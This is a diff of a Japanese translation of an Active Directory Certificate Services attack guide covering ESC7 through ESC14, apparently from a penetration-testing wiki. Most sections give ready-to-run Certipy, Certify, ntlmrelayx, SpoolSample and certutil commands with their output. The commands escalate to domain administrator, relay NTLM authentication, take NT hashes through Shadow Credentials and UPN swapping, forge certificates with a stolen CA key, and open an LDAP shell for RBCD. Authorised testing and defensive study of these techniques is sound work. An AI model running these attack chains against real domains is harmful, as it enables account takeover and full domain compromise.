'corp-CA' -enable-template 'SubCA' @@ -305,9 +302,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -この攻撃の前提条件を満たしていれば、まず **`SubCA` テンプレートに基づく証明書を要求することから始められます**. +この攻撃の前提条件を満たしていれば、**`SubCA` テンプレートに基づく証明書のリクエストを開始できます**。 -**このリクエストは拒否さ**れますが、プライベートキーを保存し、リクエストIDを控えておきます. +**このリクエストは拒否されます**が、秘密鍵を保存し、リクエストIDを控えます。 ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -319,14 +316,14 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -私たちの **`Manage CA` と `Manage Certificates`** があれば、`ca` コマンドと `-issue-request ` パラメータでその **失敗した証明書リクエストを発行する** ことができます。 +**`Manage CA` and `Manage Certificates`** を持っていれば、`ca` コマンドと `-issue-request ` パラメータで、**失敗した証明書を発行**するリクエストを実行できます。 ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate ``` -最後に、`req` コマンドと `-retrieve ` パラメータで**発行された証明書を取得**できます。 +最後に、`req` コマンドと `-retrieve ` パラメータを使用して、**発行された証明書を取得**できます。 ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785 Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -338,68 +335,68 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` -### Attack 3 – Manage Certificates Extension Abuse (SetExtension) +### 攻撃 3 – Manage Certificates Extension Abuse (SetExtension) -#### Explanation +#### 説明 -In addition to the classic ESC7 abuses (enabling EDITF attributes or approving pending requests), **Certify 2.0** revealed a brand-new primitive that only requires the *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) role on the Enterprise CA. +古典的な ESC7 の悪用（EDITF 属性の有効化や保留中リクエストの承認）に加え、**Certify 2.0** は Enterprise CA 上で *Manage Certificates*（別名 **Certificate Manager / Officer**）ロールだけで実行できる新しいプリミティブを明らかにしました。 -`ICertAdmin::SetExtension` RPC method can be executed by any principal holding *Manage Certificates*. While the method was traditionally used by legitimate CAs to update extensions on **pending** requests, an attacker can abuse it to **append a *non-default* certificate extension** (for example a custom *Certificate Issuance Policy* OID such as `1.1.1.1`) to a request that is waiting for approval. +`ICertAdmin::SetExtension` RPC メソッドは *Manage Certificates* を持つ任意の主体によって実行できます。従来、このメソッドは正当な CA が **保留中** のリクエストの拡張を更新するために使用していましたが、攻撃者はこれを悪用して承認待ちのリクエストに対して **非デフォルトの証明書拡張**（例えば `1.1.1.1` のようなカスタムな *Certificate Issuance Policy* OID）を追記できます。 -Because the targeted template does **not define a default value for that extension**, the CA will NOT overwrite the attacker-controlled value when the request is eventually issued. The resulting certificate therefore contains an attacker-chosen extension that may: +対象のテンプレートがその拡張のデフォルト値を**定義していない**場合、リクエストが最終的に発行されても CA は攻撃者が指定した値を上書きしません。結果として得られる証明書には攻撃者が選択した拡張が含まれ、これにより： -* Satisfy Application / Issuance Policy requirements of other vulnerable templates (leading to privilege escalation). -* Inject additional EKUs or policies that grant the certificate unexpected trust in third-party systems. +* 他の脆弱なテンプレートの Application / Issuance Policy 要件を満たし（権限昇格につながる）得る。 +* 追加の EKU やポリシーを注入し、第三者システムに対して証明書に予期しない信頼を付与する可能性がある。 -In short, *Manage Certificates* – previously considered the “less powerful” half of ESC7 – can now be leveraged for full privilege escalation or long-term persistence, without touching CA configuration or requiring the more restrictive *Manage CA* right. +要するに、以前は ESC7 の「力の弱い」側と見なされていた *Manage Certificates* が、CA 設定に触れたり、より制限の厳しい *Manage CA* 権限を必要とすることなく、完全な権限昇格や長期的な持続性のために利用できるようになりました。 -#### Abusing the primitive with Certify 2.0 +#### Certify 2.0 でこのプリミティブを悪用する手順 -1. **Submit a certificate request that will remain *pending*.** This can be forced with a template that requires manager approval: +1. **保留状態（*pending*）のままになる証明書リクエストを送信する。** マネージャー承認を必要とするテンプレートを使うことでこれを強制できます： ```powershell Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval # Take note of the returned Request ID ``` -2. **Append a custom extension to the pending request** using the new `manage-ca` command: +2. 新しい `manage-ca` コマンドを使って保留中のリクエストにカスタム拡張を追記する： ```powershell Certify.exe manage-ca --ca SERVER\\CA-NAME \ --request-id 1337 \ --set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID ``` -*If the template does not already define the *Certificate Issuance Policies* extension, the value above will be preserved after issuance.* +*テンプレートが既に *Certificate Issuance Policies* 拡張を定義していない場合、上記の値は発行後も保持されます。* -3. **Issue the request** (if your role also has *Manage Certificates* approval rights) or wait for an operator to approve it. Once issued, download the certificate: +3. リクエストを発行する（あなたのロールが *Manage Certificates* 承認権限も持っている場合）か、オペレータが承認するまで待ちます。発行されたら証明書をダウンロードします： ```powershell Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ``` -4. The resulting certificate now contains the malicious issuance-policy OID and can be used in subsequent attacks (e.g. ESC13, domain escalation, etc.). +4. 生成された証明書は悪意ある issuance-policy OID を含んでおり、以降の攻撃（例：ESC13、ドメイン昇格など）で使用できます。 -> NOTE: The same attack can be executed with Certipy ≥ 4.7 through the `ca` command and the `-set-extension` parameter. +> NOTE: 同じ攻撃は Certipy ≥ 4.7 の `ca` コマンドと `-set-extension` パラメータを使って実行できます。 -## NTLM Relay to AD CS HTTP Endpoints – ESC8 +## NTLM リレーから AD CS HTTP エンドポイントへの攻撃 – ESC8 ### 説明 > [!TIP] -> AD CS がインストールされている環境では、脆弱な web enrollment endpoint が存在し、かつ少なくとも 1 つの certificate template が domain computer enrollment と client authentication を許可して公開されている（デフォルトの `Machine` テンプレートなど）場合、spooler service が動作している任意のコンピュータが攻撃者によって乗っ取られる可能性があります！ +> **AD CS がインストールされている** 環境で、**脆弱な web enrollment endpoint** が存在し、かつ少なくとも 1 つの **certificate template が公開されており** そのテンプレートが **domain computer enrollment と client authentication** を許可している（例：デフォルトの **`Machine`** テンプレート）場合、**spooler サービスが有効な任意のコンピュータが攻撃者によって乗っ取られる可能性がある** ということになります！ -AD CS がサポートするいくつかの **HTTP ベースの enrollment 方法** は、管理者が追加のサーバーロールとしてインストールすることで利用可能になります。これらの HTTP ベースの証明書 enrollment 用インターフェースは **NTLM relay 攻撃** に対して脆弱です。攻撃者は、**侵害されたマシンから**、着信 NTLM を使って認証する任意の AD アカウントを偽装できます。被害者アカウントを偽装した状態で、攻撃者はこれらの web インターフェースにアクセスし、`User` または `Machine` certificate template を使ってクライアント認証用の証明書を要求できます。 +AD CS は追加のサーバーロールとして管理者がインストールすることで利用可能になる、複数の **HTTP ベースの enrollment 方法** をサポートしています。これらの HTTP ベースの証明書登録用インターフェイスは **NTLM リレー攻撃** を受けやすいです。攻撃者は、**乗っ取ったマシンから、着信 NTLM によって認証する任意の AD アカウントをなりすます**ことができます。被害者アカウントになりすました状態で、攻撃者はこれらの Web インターフェイスにアクセスして、`User` や `Machine` 証明書テンプレートを用いてクライアント認証証明書を要求できます。 -- **web enrollment interface**（古い ASP アプリケーションで `http:///certsrv/` にある）はデフォルトで HTTP のみを使用し、NTLM relay 攻撃に対する保護を提供しません。さらに、このインターフェースは Authorization HTTP header を通じて明示的に NTLM のみを許可しているため、Kerberos のようなより安全な認証方式は使用できません。 -- **Certificate Enrollment Service**（CES）、**Certificate Enrollment Policy**（CEP）Web Service、**Network Device Enrollment Service**（NDES）は、Authorization HTTP header を通じてデフォルトで negotiate 認証をサポートします。negotiate 認証は Kerberos と **NTLM の両方をサポート**するため、攻撃者は relay 攻撃中に認証を **NTLM にダウングレード** できます。これらの web サービスはデフォルトで HTTPS を有効にしていますが、HTTPS 自体は **NTLM relay 攻撃からの保護にはならない** 点に注意してください。HTTPS サービスが NTLM relay 攻撃から保護されるのは、HTTPS が channel binding と組み合わされている場合に限られます。残念ながら、AD CS は IIS 上で Extended Protection for Authentication を有効にしておらず、channel binding に必要な設定がされていません。 +- **web enrollment interface**（古い ASP アプリケーションで `http:///certsrv/` にある）はデフォルトで HTTP のみを使用しており、NTLM リレー攻撃に対する保護を提供しません。加えて、このインターフェイスは Authorization HTTP ヘッダを通じて明示的に NTLM のみを許可しており、Kerberos のようなより安全な認証方法は適用できません。 +- **Certificate Enrollment Service**（CES）、**Certificate Enrollment Policy**（CEP）Web Service、**Network Device Enrollment Service**（NDES）はデフォルトで Authorization HTTP ヘッダを介して negotiate 認証をサポートします。negotiate 認証は Kerberos と **NTLM の双方をサポートしており**、攻撃者はリレー攻撃中に認証を **NTLM にダウングレード** できます。これらの Web サービスはデフォルトで HTTPS を有効にしていますが、HTTPS 単体では **NTLM リレー攻撃から守れません**。HTTPS サービスに対する NTLM リレー攻撃の防護は、HTTPS と channel binding を組み合わせた場合にのみ可能です。残念ながら、AD CS は IIS 上で channel binding に必要な Extended Protection for Authentication を有効にしていません。 -NTLM relay 攻撃でよくある問題は、NTLM セッションの有効期間が短いことと、NTLM signing を要求するサービスとやり取りできないことです。 +NTLM リレー攻撃に共通する **問題** の一つは、NTLM セッションの **短い有効期間** と、攻撃者が **NTLM signing を要求するサービス** と相互作用できないことです。 -しかし、この制約は NTLM relay 攻撃を利用してユーザの証明書を取得することで回避できます。証明書の有効期間がセッションの持続時間を決定し、取得した証明書は NTLM signing を要求するサービスでも使用可能です。盗用した証明書の利用方法については次を参照してください： +それでも、この制約は NTLM リレー攻撃を利用してユーザの証明書を取得することで克服できます。なぜなら証明書の有効期間がセッションの持続時間を決め、かつその証明書は **NTLM signing を必須とするサービス** に対しても使用できるからです。盗まれた証明書の利用方法については、次を参照してください： {{#ref}} account-persistence.md {{#endref}} -NTLM relay 攻撃のもう一つの制約は、**攻撃者が制御するマシンに被害者アカウントが認証する必要がある**点です。攻撃者は待つか、あるいはこの認証を **強制** しようと試みることができます： +NTLM リレー攻撃のもう一つの制約は、**攻撃者制御下のマシンが被害者アカウントによって認証される必要がある**ことです。攻撃者は待つか、あるいはこの認証を強制しようと試みることができます： {{#ref}} @@ -408,13 +405,13 @@ NTLM relay 攻撃のもう一つの制約は、**攻撃者が制御するマシ ### **悪用** -[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumerates **enabled HTTP AD CS endpoints**: +[**Certify**](https://github.com/GhostPack/Certify)’s `cas` は **enabled HTTP AD CS endpoints** を列挙します: ``` Certify.exe cas ```
-`msPKI-Enrollment-Servers` プロパティは、企業の Certificate Authorities (CAs) が Certificate Enrollment Service (CES) のエンドポイントを格納するために使用されます。これらのエンドポイントは、ツール **Certutil.exe** を使用して解析して一覧表示できます: +`msPKI-Enrollment-Servers` プロパティは、企業の証明機関（CAs）が Certificate Enrollment Service（CES）エンドポイントを保存するために使用されます。これらのエンドポイントは、ツール **Certutil.exe** を使用して解析および一覧化できます： ``` certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ``` @@ -425,7 +422,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List * ```
-#### Certify を悪用する +#### Certifyを使った悪用 ```bash ## In the victim machine # Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine @@ -440,11 +437,11 @@ proxychains ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2sup # Force authentication from victim to compromised machine with port forwards execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe ``` -#### [Certipy](https://github.com/ly4k/Certipy) を悪用 +#### [Certipy](https://github.com/ly4k/Certipy) を悪用する -証明書のリクエストは、デフォルトで Certipy が、アカウント名の末尾が `$` で終わるかどうかに応じて `Machine` または `User` テンプレートに基づいて行います。別のテンプレートを指定するには、`-template` パラメータを使用します。 +Certipy による証明書の要求はデフォルトでテンプレート `Machine` または `User` に基づいて行われ、リレーされるアカウント名が末尾に `$` が付くかどうかで決まります。代替テンプレートは `-template` パラメータで指定できます。 -その後、[PetitPotam](https://github.com/ly4k/PetitPotam) のような技術を用いて認証を強制することができます。ドメインコントローラを扱う場合は、`-template DomainController` の指定が必要です。 +その後、[PetitPotam](https://github.com/ly4k/PetitPotam) のような手法を用いて認証を強制できます。ドメインコントローラーを扱う場合は、`-template DomainController` の指定が必要です。 ```bash certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -461,51 +458,51 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) ### 説明 -新しい値 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) は **`msPKI-Enrollment-Flag`** のためのもので、ESC9 と呼ばれ、証明書に **新しい `szOID_NTDS_CA_SECURITY_EXT` セキュリティ拡張** を埋め込むことを防ぎます。このフラグは `StrongCertificateBindingEnforcement` が `1`（デフォルト設定）のときに意味を持ち、`2` の設定とは対照的です。ESC9 が存在しない場合でも要件は変わらないため、Kerberos や Schannel のより弱い証明書マッピングが悪用され得るシナリオ（ESC10 の場合のように）では、その重要性が高まります。 +新しい値 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) は、**`msPKI-Enrollment-Flag`** のためのもので、ESC9と呼ばれ、証明書に**新しい `szOID_NTDS_CA_SECURITY_EXT` セキュリティ拡張**を埋め込むことを防ぎます。このフラグは、`StrongCertificateBindingEnforcement` が `1`（デフォルト）に設定されている場合に関連性を持ち、`2` に設定されている場合とは対照的です。ESC9 がない場合でも要件は変わりませんが、Kerberos や Schannel の弱い証明書マッピングが悪用される可能性がある（ESC10 のような）シナリオでは、その重要性が増します。 -このフラグの設定が重要になる条件は以下を含みます： +このフラグの設定が重要になる条件は次のとおりです: -- `StrongCertificateBindingEnforcement` が `2` に設定されていない（デフォルトは `1`）、または `CertificateMappingMethods` に `UPN` フラグが含まれている。 +- `StrongCertificateBindingEnforcement` が `2` に調整されていない（デフォルトは `1`）か、または `CertificateMappingMethods` に `UPN` フラグが含まれている。 - 証明書が `msPKI-Enrollment-Flag` 設定内で `CT_FLAG_NO_SECURITY_EXTENSION` フラグでマークされている。 -- 証明書に任意のクライアント認証 EKU が指定されている。 -- 別のアカウントを侵害するための GenericWrite 権限が任意のアカウントに対して存在する。 +- 証明書で任意のクライアント認証 EKU が指定されている。 +- 任意のアカウントに対して `GenericWrite` 権限があり、別のアカウントを侵害できる。 ### 悪用シナリオ -例えば、`John@corp.local` が `Jane@corp.local` に対して `GenericWrite` 権限を持ち、`Administrator@corp.local` を侵害することを目的としているとします。`Jane@corp.local` が登録を許可されている `ESC9` 証明書テンプレートは、`msPKI-Enrollment-Flag` 設定で `CT_FLAG_NO_SECURITY_EXTENSION` フラグが設定されています。 +例えば `John@corp.local` が `Jane@corp.local` に対して `GenericWrite` 権限を持っており、`Administrator@corp.local` を侵害することを目的としているとします。`Jane@corp.local` が登録できる `ESC9` 証明書テンプレートは、`msPKI-Enrollment-Flag` 設定で `CT_FLAG_NO_SECURITY_EXTENSION` フラグが設定されています。 -最初に、`John` の `GenericWrite` により、Shadow Credentials を使って `Jane` のハッシュが取得されます： +最初に、`John` の `GenericWrite` により、Shadow Credentials を使用して `Jane` のハッシュが取得されます： ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` -その後、`Jane`の`userPrincipalName`は`Administrator`に変更され、`@corp.local`のドメイン部分は意図的に省略されます: +その後、`Jane`の`userPrincipalName`は`Administrator`に変更され、意図的に`@corp.local`のドメイン部分が省かれています: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -この変更は、`Administrator@corp.local` が引き続き `Administrator` の `userPrincipalName` として区別されているため、制約に違反しません。 +この変更は、`Administrator@corp.local` が `Administrator` の `userPrincipalName` として区別されたままであるため、制約に違反しません。 続いて、脆弱とマークされた `ESC9` 証明書テンプレートが `Jane` として要求されます: ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` -証明書の`userPrincipalName`が`Administrator`を反映しており、いかなる「オブジェクトSID」も含まれていないことが確認されます。 +証明書の `userPrincipalName` は `Administrator` を示しており、“object SID” は含まれていません。 -その後、`Jane`の`userPrincipalName`は元の`Jane@corp.local`に戻される： +`Jane` の `userPrincipalName` は元の `Jane@corp.local` に戻されます: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -発行された証明書で認証を試行すると、`Administrator@corp.local` の NT hash が取得されます。証明書にドメイン指定がないため、コマンドには `-domain ` を含める必要があります: +発行された証明書で認証を試行すると、現在 `Administrator@corp.local` の NT hash が取得されます。証明書にドメイン指定がないため、コマンドには `-domain ` を含める必要があります: ```bash certipy auth -pfx adminitrator.pfx -domain corp.local ``` -## 脆弱な証明書マッピング - ESC10 +## Weak Certificate Mappings - ESC10 ### 説明 -ESC10 はドメインコントローラー上の 2 つのレジストリキー値を指します: +ESC10 が指すドメインコントローラ上の 2 つのレジストリキー値: -- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` の `CertificateMappingMethods` のデフォルト値は `0x18` (`0x8 | 0x10`) で、以前は `0x1F` に設定されていました。 -- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` の `StrongCertificateBindingEnforcement` のデフォルト設定は `1` で、以前は `0` でした。 +- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` の `CertificateMappingMethods` のデフォルト値は `0x18` (`0x8 | 0x10`)、以前は `0x1F` に設定されていました。 +- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` の `StrongCertificateBindingEnforcement` のデフォルト設定は `1`、以前は `0` でした。 **ケース 1** @@ -519,63 +516,63 @@ ESC10 はドメインコントローラー上の 2 つのレジストリキー `StrongCertificateBindingEnforcement` が `0` に設定されている場合、`GenericWrite` 権限を持つアカウント A は任意のアカウント B を侵害するために悪用できます。 -例えば、`Jane@corp.local` に対して `GenericWrite` 権限を持つ場合、攻撃者は `Administrator@corp.local` を侵害することを狙えます。手順は ESC9 と同様で、任意の証明書テンプレートを利用できます。 +例えば、`Jane@corp.local` に対して `GenericWrite` 権限を持っている攻撃者が `Administrator@corp.local` を侵害することを狙う場合、手順は ESC9 と同様で、任意の certificate template を利用できます。 -まず、`Jane` のハッシュは Shadow Credentials を使用して取得され、`GenericWrite` を悪用します。 +まず、`GenericWrite` を悪用して `Shadow Credentials` を使い、`Jane` の hash を取得します。 ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` -その後、`Jane`の`userPrincipalName`は`Administrator`に変更され、制約違反を避けるために`@corp.local`の部分は意図的に省略されています。 +その後、`Jane`の`userPrincipalName`は制約違反を回避するため、`@corp.local`の部分を意図的に省略して`Administrator`に変更されます。 ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -これに続き、クライアント認証を有効にする証明書がデフォルトの `User` テンプレートを使用して `Jane` として要求されます。 +続いて、デフォルトの `User` テンプレートを使用して、クライアント認証を有効にする証明書が `Jane` として要求されます。 ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane`の`userPrincipalName`はその後元の`Jane@corp.local`に戻されます。 +`Jane`の`userPrincipalName`は元の`Jane@corp.local`に戻されます。 ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -取得した証明書で認証すると、`Administrator@corp.local` の NT hash が得られます。証明書にドメイン情報が含まれていないため、コマンドでドメインを指定する必要があります。 +取得した証明書で認証すると `Administrator@corp.local` の NT hash が得られます。証明書にドメイン情報が含まれていないため、コマンドでドメインを指定する必要があります。 ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` -### 悪用ケース 2 +### Abuse Case 2 -`CertificateMappingMethods` に `UPN` ビットフラグ（`0x4`）が含まれている場合、`GenericWrite` 権限を持つアカウント A は、`userPrincipalName` プロパティを持たない任意のアカウント B（マシンアカウントや組み込みのドメイン管理者 `Administrator` を含む）を侵害できます。 +`CertificateMappingMethods` に `UPN` ビットフラグ (`0x4`) が含まれている場合、`GenericWrite` 権限を持つアカウント A は、`userPrincipalName` プロパティを持たない任意のアカウント B（マシンアカウントや組み込みのドメイン管理者である `Administrator` を含む）を侵害できます。 -ここでは、`GenericWrite` を利用して Shadow Credentials を介して `Jane` のハッシュを取得することから始め、`DC$@corp.local` を侵害することを目的とします。 +ここでは、`GenericWrite` を活用して Shadow Credentials を通じて `Jane` のハッシュを取得することから始め、`DC$@corp.local` を侵害することを目的とします。 ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` -`Jane`の`userPrincipalName`は次に`DC$@corp.local`に設定されます。 +`Jane`の`userPrincipalName`は`DC$@corp.local`に設定されます。 ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' ``` -クライアント認証用の証明書が、デフォルトの `User` テンプレートを使用して `Jane` として要求されます。 +デフォルトの `User` テンプレートを使用して、`Jane` としてクライアント認証用の証明書が要求されます。 ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -このプロセスの後、`Jane`の`userPrincipalName`は元の値に戻ります。 +`Jane`の`userPrincipalName`はこのプロセスの後、元に戻されます。 ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` -Schannel経由で認証するために、Certipyの`-ldap-shell`オプションを使用し、認証が成功すると`u:CORP\DC$`と表示されます。 +Schannel を介して認証するために、Certipy の `-ldap-shell` オプションが使用され、認証が成功すると `u:CORP\DC$` と表示されます。 ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -LDAP shellを通じて、`set_rbcd` のようなコマンドは Resource-Based Constrained Delegation (RBCD) 攻撃を可能にし、ドメインコントローラーを危険にさらす可能性があります。 +LDAPシェルを通じて、`set_rbcd` のようなコマンドは Resource-Based Constrained Delegation (RBCD) 攻撃を可能にし、domain controller が侵害される可能性がある。 ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -この脆弱性は、`userPrincipalName` が設定されていないユーザーアカウント、または `sAMAccountName` と一致しないアカウントにも及びます。デフォルトの `Administrator@corp.local` は LDAP の権限が高く、デフォルトで `userPrincipalName` が存在しないため、主要な標的となります。 +この脆弱性は `userPrincipalName` を欠く、または `sAMAccountName` と一致しない任意のユーザーアカウントにも及びます。デフォルトの `Administrator@corp.local` は、LDAP の特権が高く、デフォルトで `userPrincipalName` が存在しないため、主要な標的となります。 ## Relaying NTLM to ICPR - ESC11 -### Explanation +### 説明 -CA Server が `IF_ENFORCEENCRYPTICERTREQUEST` で構成されていない場合、RPC サービス経由で署名なしの NTLM relay attacks を許可してしまいます。 [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). +If CA Server Do not configured with `IF_ENFORCEENCRYPTICERTREQUEST`, it can be makes NTLM relay attacks without signing via RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). `certipy` を使用して `Enforce Encryption for Requests` が Disabled かどうかを列挙でき、certipy は `ESC11` 脆弱性を表示します。 ```bash @@ -615,29 +612,29 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -注意: ドメインコントローラの場合、DomainController では `-template` を指定する必要があります。 +注: ドメインコントローラーの場合、DomainController で `-template` を指定する必要があります。 -または [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) を使用 : +または、[sploutchy's fork of impacket](https://github.com/sploutchy/impacket) : ```bash $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support ``` -## YubiHSM による ADCS CA へのシェルアクセス - ESC12 +## Shell access to ADCS CA with YubiHSM - ESC12 ### 説明 -管理者は証明機関 (Certificate Authority) を "Yubico YubiHSM2" のような外部デバイスに格納するように設定できます。 +管理者は Certificate Authority を "Yubico YubiHSM2" のような外部デバイスに格納するように設定できます。 -CA サーバーが USB ポート経由で USB デバイスに接続されている場合、あるいは CA サーバーが仮想マシンで USB デバイスサーバーを介して接続されている場合、Key Storage Provider が YubiHSM 内で鍵を生成・利用するために認証キー（しばしば "password" と呼ばれる）が必要です。 +CA サーバーに USB ポート経由で USB デバイスが接続されている場合、または CA サーバーが仮想マシンで USB device server を介して接続されている場合、Key Storage Provider が YubiHSM 内でキーを生成および利用するために認証キー（しばしば「password」と呼ばれる）が必要です。 -このキー/password はレジストリの `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` に平文で保存されます。 +このキー/パスワードはレジストリの `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` にプレーンテキストで保存されます。 参照: [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). ### 悪用シナリオ -もし CA の秘密鍵が物理的な USB デバイスに保存されている状態でシェルアクセスを得た場合、その鍵を回収することが可能です。 +CA の秘密鍵が物理的な USB デバイスに保存されており、あなたが shell access を得た場合、その鍵を回収することが可能です。 -まず、CA 証明書（これは公開情報）を取得し、その後: +まず、CA 証明書（これは公開情報です）を入手し、次に: ```cmd # import it to the user store with CA certificate $ certutil -addstore -user my @@ -645,15 +642,15 @@ $ certutil -addstore -user my # Associated with the private key in the YubiHSM2 device $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my ``` -最後に、CA証明書とその秘密鍵を使って、certutil `-sign` コマンドで任意の新しい証明書を偽造します。 +最後に、certutil `-sign` コマンドを使って、CA 証明書とその秘密鍵を用いて任意の新しい証明書を偽造します。 ## OID Group Link Abuse - ESC13 ### 説明 -`msPKI-Certificate-Policy` 属性は、発行ポリシーを証明書テンプレートに追加できるようにします。発行ポリシーを担う `msPKI-Enterprise-Oid` オブジェクトは、PKI OID コンテナの Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) に見つかります。ポリシーはこのオブジェクトの `msDS-OIDToGroupLink` 属性を使って AD グループにリンクでき、その結果、証明書を提示したユーザーをそのグループのメンバーであるかのようにシステムが認可できるようになります。 [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). +`msPKI-Certificate-Policy` 属性は、証明書テンプレートに発行ポリシーを追加できるようにします。ポリシーの発行を担当する `msPKI-Enterprise-Oid` オブジェクトは、PKI OID コンテナの Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) で見つけることができます。ポリシーはこのオブジェクトの `msDS-OIDToGroupLink` 属性を使って AD グループにリンクでき、システムはその証明書を提示するユーザーをまるでそのグループのメンバーであるかのように認可できます。[Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). -言い換えると、ユーザーが証明書を登録する権限を持ち、その証明書が OID グループにリンクされている場合、ユーザーはそのグループの権限を継承できます。 +つまり、ユーザーが証明書を登録する権限を持ち、その証明書が OID グループにリンクされている場合、ユーザーはそのグループの権限を継承できます。 OIDToGroupLink を見つけるには [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) を使用します: ```bash @@ -679,47 +676,47 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local ``` ### 悪用シナリオ -使用できるユーザー権限を `certipy find` または `Certify.exe find /showAllPermissions` で探す。 +利用できるユーザー権限を見つけるには `certipy find` または `Certify.exe find /showAllPermissions` を使用する。 -もし `John` が `VulnerableTemplate` への enroll（登録）権限を持っていれば、そのユーザーは `VulnerableGroup` グループの特権を引き継げる。 +もし `John` が `VulnerableTemplate` に enroll する権限を持っていれば、ユーザーは `VulnerableGroup` グループの権限を継承できる。 -やることはテンプレートを指定するだけで、OIDToGroupLink 権限を持つ証明書を取得できる。 +テンプレートを指定するだけで、OIDToGroupLink 権限を持つ証明書が取得できる。 ```bash certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate' ``` -## 脆弱な証明書更新構成- ESC14 +## 脆弱な証明書更新構成 - ESC14 ### 説明 -https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping の記述は非常に詳しいです。以下は元のテキストの引用です。 +説明は https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping に非常に詳しく記載されています。以下は元のテキストの引用です。 -ESC14 は主に Active Directory のユーザーまたはコンピュータアカウント上の `altSecurityIdentities` 属性の誤用や安全でない構成から生じる「弱い explicit certificate mapping」に起因する脆弱性に対処します。この多値属性は、管理者が X.509 証明書を AD アカウントに手動で関連付けて認証に使用できるようにします。設定されている場合、これらの explicit mappings は通常、証明書の SAN にある UPN や DNS 名、または `szOID_NTDS_CA_SECURITY_EXT` セキュリティ拡張に埋め込まれた SID に基づくデフォルトの証明書マッピングロジックを上書きすることがあります。 +ESC14 は主に Active Directory のユーザーまたはコンピュータアカウント上の `altSecurityIdentities` 属性の誤用や不適切な構成に起因する「弱い explicit certificate mapping」による脆弱性に対処します。この multi-valued 属性は、管理者が X.509 証明書を認証目的で AD アカウントに手動で紐付けることを可能にします。値が設定されると、これらの明示的なマッピングは通常、証明書の SAN 内の UPN や DNS 名、または `szOID_NTDS_CA_SECURITY_EXT` セキュリティ拡張に埋め込まれた SID に基づくデフォルトの証明書マッピングロジックを上書きすることがあります。 